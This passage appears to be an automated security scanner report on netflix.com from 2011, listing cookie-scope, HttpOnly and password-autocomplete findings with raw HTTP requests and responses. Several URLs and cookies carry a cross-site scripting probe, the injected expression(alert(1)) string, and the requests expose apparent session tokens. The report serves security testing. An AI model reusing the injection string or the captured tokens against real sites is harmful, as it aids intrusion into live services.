Set-Cookie: NSC_ED1-xxx=ffffffff09c8017945525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169569974, serverBeforeHtml: 1325169570018 };</script>
<meta h
...[SNIP]...
3.2. http://www.netflix.com/Default  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Default

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Default HTTP/1.1
Host: www.netflix.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: tlr=US|1325169811738; VisitorId=002~6468394c-08e0-4ba1-b8e2-6b1e2d3717c1~1325022786946~false~1325169811751~; nmp=MDAxOjUxNDAxOTE1OjEzMjUwMjI3ODY5NTQ6Ojo.; ecssn=eyJjb20ubmV0ZmxpeC5lYy51aWNvbW1vbi5jb250ZXh0LlZpc2l0b3JTZXNzaW9uIjpbeyJtYXAiOlt7ImVudHJ5IjpbeyJzdHJpbmciOlsidiIsIjAwMSJdfSx7InN0cmluZyI6WyJkbnNwYyIsdHJ1ZV19XX1dfV19; NSC_ED1-xxx=ffffffff09c8019c45525d5f4f58455e445a4a422d6a
Content-Length: 10


Response

HTTP/1.1 403 Forbidden
Date: Thu, 29 Dec 2011 14:44:02 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Last-Modified: Tue, 22 Mar 2011 01:35:05 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: private
Content-Length: 2444
Content-Type: text/html
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016b45525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Netflix Site Err
...[SNIP]...
3.3. http://www.netflix.com/JSON/ParamTrkData  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /JSON/ParamTrkData

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /JSON/ParamTrkData?lnktrk=BWS~1520~988~1920~1200~false&bwscol=true HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; lastHitTime=1325169568522; nflxsid=123.1325169568522; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169568583~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1Njg1ODM6Ojo="; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:32 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:39:32 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: lastHitTime=1325169572766; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169568583~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:32 GMT; Path=/
Set-Cookie: nflxsid=123.1325169572766; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:32 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572773~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:32 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzI3NzQ6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:32 GMT; Path=/
Set-Cookie: miscCache=0001PFmsPue/Xsp0SSlyO8Z6LCdbcCk=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 0

3.4. http://www.netflix.com/Movie/The-Dark-Knight/70079583  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Movie/The-Dark-Knight/70079583

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Movie/The-Dark-Knight/70079583?trkid=813620 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=; s_id=2RN84NJ4RN8PR48682P2A8N2H8LR8J2H4A; s_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%253d%2522x%253aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; miscCache=0001PFmsPue/Xsp0SSlyO8Z6LCdbcCk=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; lastHitTime=1325169571991; nflxsid=123.1325169571991; custProps=; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzIwMDY6Ojo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:27 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:27 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nflxsid=123.1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169627369~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2MjczNjk6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: miscCache=0001KpuIMCZjaXJHsvqV6laAArn89sM=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 24202

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169627362, serverBeforeHtml: 1325169627372 };</script>
<meta h
...[SNIP]...
3.5. http://www.netflix.com/layout/css/corporate.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /layout/css/corporate.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /layout/css/corporate.css HTTP/1.1
Host: www.netflix.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: tlr=US|1325169811738; VisitorId=002~6468394c-08e0-4ba1-b8e2-6b1e2d3717c1~1325022786946~false~1325169811751~; nmp=MDAxOjUxNDAxOTE1OjEzMjUwMjI3ODY5NTQ6Ojo.; ecssn=eyJjb20ubmV0ZmxpeC5lYy51aWNvbW1vbi5jb250ZXh0LlZpc2l0b3JTZXNzaW9uIjpbeyJtYXAiOlt7ImVudHJ5IjpbeyJzdHJpbmciOlsidiIsIjAwMSJdfSx7InN0cmluZyI6WyJkbnNwYyIsdHJ1ZV19XX1dfV19; NSC_ED1-xxx=ffffffff09c8014b45525d5f4f58455e445a4a422d6a
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:43:56 GMT
Server: Apache
Last-Modified: Tue, 20 Dec 2011 16:32:38 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Expires: Thu, 15 Apr 2020 20:00:00 GMT
Cache-Control: private
Content-Length: 4637
Content-Type: text/css
Set-Cookie: NSC_ED1-xxx=ffffffff09c8017445525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

.main-body .main-content {padding: 15px 0px 0px 0px; margin: 0px 16px 0px 20px;}
.press-content .header {background-color: #fff; font-size:18px; font-weight:normal; color:#565656; letter
...[SNIP]...
3.6. http://www.netflix.com/layout/css/global.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /layout/css/global.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /layout/css/global.css HTTP/1.1
Host: www.netflix.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: tlr=US|1325169811738; VisitorId=002~6468394c-08e0-4ba1-b8e2-6b1e2d3717c1~1325022786946~false~1325169811751~; nmp=MDAxOjUxNDAxOTE1OjEzMjUwMjI3ODY5NTQ6Ojo.; ecssn=eyJjb20ubmV0ZmxpeC5lYy51aWNvbW1vbi5jb250ZXh0LlZpc2l0b3JTZXNzaW9uIjpbeyJtYXAiOlt7ImVudHJ5IjpbeyJzdHJpbmciOlsidiIsIjAwMSJdfSx7InN0cmluZyI6WyJkbnNwYyIsdHJ1ZV19XX1dfV19; NSC_ED1-xxx=ffffffff09c8014b45525d5f4f58455e445a4a422d6a
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:43:56 GMT
Server: Apache
Last-Modified: Tue, 20 Dec 2011 16:32:38 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Expires: Thu, 15 Apr 2020 20:00:00 GMT
Cache-Control: private
Content-Length: 56197
Content-Type: text/css
Set-Cookie: NSC_ED1-xxx=ffffffff09c8017a45525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

/*
   Snapshot of 2/7/08 global.css
   For use on sites like jobs.netflix.com, ir.netflix.com, etc.
*/

html {font-family:arial, helvetica, sans-serif;font-size:12px;color:#333333;background-color:#B9090B
...[SNIP]...
3.7. http://www.netflix.com/opdply  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /opdply

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /opdply HTTP/1.1
Host: www.netflix.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Sun, 04 Dec 2011 03:43:14 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Location: http://www.netflix.com/
Set-Cookie: VisitorId=002~6c459b82-0a6e-440e-9249-a6547e8fd784~1322970195127~true~1322970195127~; Domain=.netflix.com; Expires=Mon, 03-Dec-2012 03:43:15 GMT; Path=/
Vary: Accept-Encoding
Cache-Control: private
Keep-Alive: timeout=15, max=75
Connection: Keep-Alive
Content-Type: text/plain
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016545525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly
Content-Length: 0

4. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.netflix.com
Path:   /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; promo=51401915~0~1325116800000~trkid=813620~51401915~1324993388112~51401915~1325074963309~trkid=813620~http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style=%22x:expression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642~; custTrans=Y; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxMDM4NTEyMTI6OnRya2lkPTgxMzYyMDo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:29 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:39:30 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169569974; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325103851212~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:29 GMT; Path=/
Set-Cookie: nflxsid=104.1325169569974; Domain=.netflix.com; Path=/
Set-Cookie: NetflixSession=104.40d91486-4e61-45f9-bc28-c8937ffee51a; Domain=.netflix.com; Path=/
Set-Cookie: promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140769998~~~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:29 GMT; Path=/
Set-Cookie: custTrans=Y; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:30 GMT; Path=/
Set-Cookie: fvinc=Y; Domain=.netflix.com; Expires=Fri, 30-Dec-2011 07:59:59 GMT; Path=/
Set-Cookie: isaffiliate=N; Domain=.netflix.com; Path=/
Set-Cookie: mqsoc=; Domain=.netflix.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169570013~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:30 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzAwMTM6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:30 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 42131
Set-Cookie: NSC_ED1-xxx=ffffffff09c8017945525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169569974, serverBeforeHtml: 1325169570018 };</script>
<meta h
...[SNIP]...
4.2. http://www.netflix.com/JSON/ParamTrkData  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /JSON/ParamTrkData

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /JSON/ParamTrkData?lnktrk=BWS~1520~988~1920~1200~false&bwscol=true HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: */*
Referer: http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; custProps=; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=http%3A//burp/show/2; lastHitTime=1325169568522; nflxsid=123.1325169568522; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169568583~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1Njg1ODM6Ojo="; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:39:32 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:39:32 GMT
Content-Type: application/json;charset=UTF-8
Set-Cookie: lastHitTime=1325169572766; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169568583~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:32 GMT; Path=/
Set-Cookie: nflxsid=123.1325169572766; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:32 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572773~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:39:32 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzI3NzQ6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:39:32 GMT; Path=/
Set-Cookie: miscCache=0001PFmsPue/Xsp0SSlyO8Z6LCdbcCk=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 0

4.3. http://www.netflix.com/Movie/The-Dark-Knight/70079583  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Movie/The-Dark-Knight/70079583

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Movie/The-Dark-Knight/70079583?trkid=813620 HTTP/1.1
Host: www.netflix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.netflix.com/SubGenreList/Action_Adventure552fe%22style%3d%22x%3aexpression(alert(1))%221a6e8429755/296/Comic_Books_and_Superheroes/642
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: asearch=132502218544852124; NetflixCookies=persistent; NetflixSession=123.22cfc801-92e7-49a4-9513-17f631ed40a9; promo=51401915~0~1325203200000~~51401915~1324993388112~51401915~1325140768532~~~; custTrans=Y; fvinc=Y; isaffiliate=N; NSC_ED1-xxx=ffffffff09c8016a45525d5f4f58455e445a4a422d69; p_id=8P6R6888AN8PR4JLARL2A8N2H8LR8J2H4A; p_first_ref=; p_first_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%3D%2522x%3Aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; p_last_ref=; s_id=2RN84NJ4RN8PR48682P2A8N2H8LR8J2H4A; s_entry=http%3A//www.netflix.com/SubGenreList/Action_Adventure552fe%2522style%253d%2522x%253aexpression%28alert%281%29%29%25221a6e8429755/296/Comic_Books_and_Superheroes/642; miscCache=0001PFmsPue/Xsp0SSlyO8Z6LCdbcCk=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; lastHitTime=1325169571991; nflxsid=123.1325169571991; custProps=; VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk1NzIwMDY6Ojo="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 29 Dec 2011 14:40:27 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Cache-Control: private
Pragma: no-cache
Expires: Wed, 28 Dec 2011 14:40:27 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: lastHitTime=1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169572005~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nflxsid=123.1325169627362; Domain=.netflix.com; Path=/
Set-Cookie: custProps=; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: VisitorId=002~5157cf3c-e1bb-46f1-9151-96a24cffda2b~1325022185440~false~1325169627369~; Domain=.netflix.com; Expires=Fri, 28-Dec-2012 14:40:27 GMT; Path=/
Set-Cookie: nmp="MDAxOjUxNDAxOTE1OjEzMjUxNjk2MjczNjk6Ojo="; Domain=.netflix.com; Expires=Sat, 28-Jan-2012 14:40:27 GMT; Path=/
Set-Cookie: miscCache=0001KpuIMCZjaXJHsvqV6laAArn89sM=!!&masqueradeSession=-1&giftCustomize&promotionID=60184945&accountRestartDate&hasPurchasedPlayer&lastTabBeforeStartSignup=MOVIE_DISPLAY_PAGE&signupTestExclusionReason&nrdContext=&browserWindowSizeCollected=Y; Domain=.netflix.com; Path=/
Vary: Accept-Encoding
Content-Length: 24202

<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">var RoundTripInfo = { htmlStart: (new Date()).getTime(), serverStart: 1325169627362, serverBeforeHtml: 1325169627372 };</script>
<meta h
...[SNIP]...
4.4. http://www.netflix.com/opdply  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /opdply

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /opdply HTTP/1.1
Host: www.netflix.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Sun, 04 Dec 2011 03:43:14 GMT
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR DEVa TAIa OUR BUS UNI STA"
Location: http://www.netflix.com/
Set-Cookie: VisitorId=002~6c459b82-0a6e-440e-9249-a6547e8fd784~1322970195127~true~1322970195127~; Domain=.netflix.com; Expires=Mon, 03-Dec-2012 03:43:15 GMT; Path=/
Vary: Accept-Encoding
Cache-Control: private
Keep-Alive: timeout=15, max=75
Connection: Keep-Alive
Content-Type: text/plain
Set-Cookie: NSC_ED1-xxx=ffffffff09c8016545525d5f4f58455e445a4a422d69;path=/;domain=netflix.com;httponly
Content-Length: 0

5. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.netflix.com
Path:   /Movie/The-Dark-Knight/70079583

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

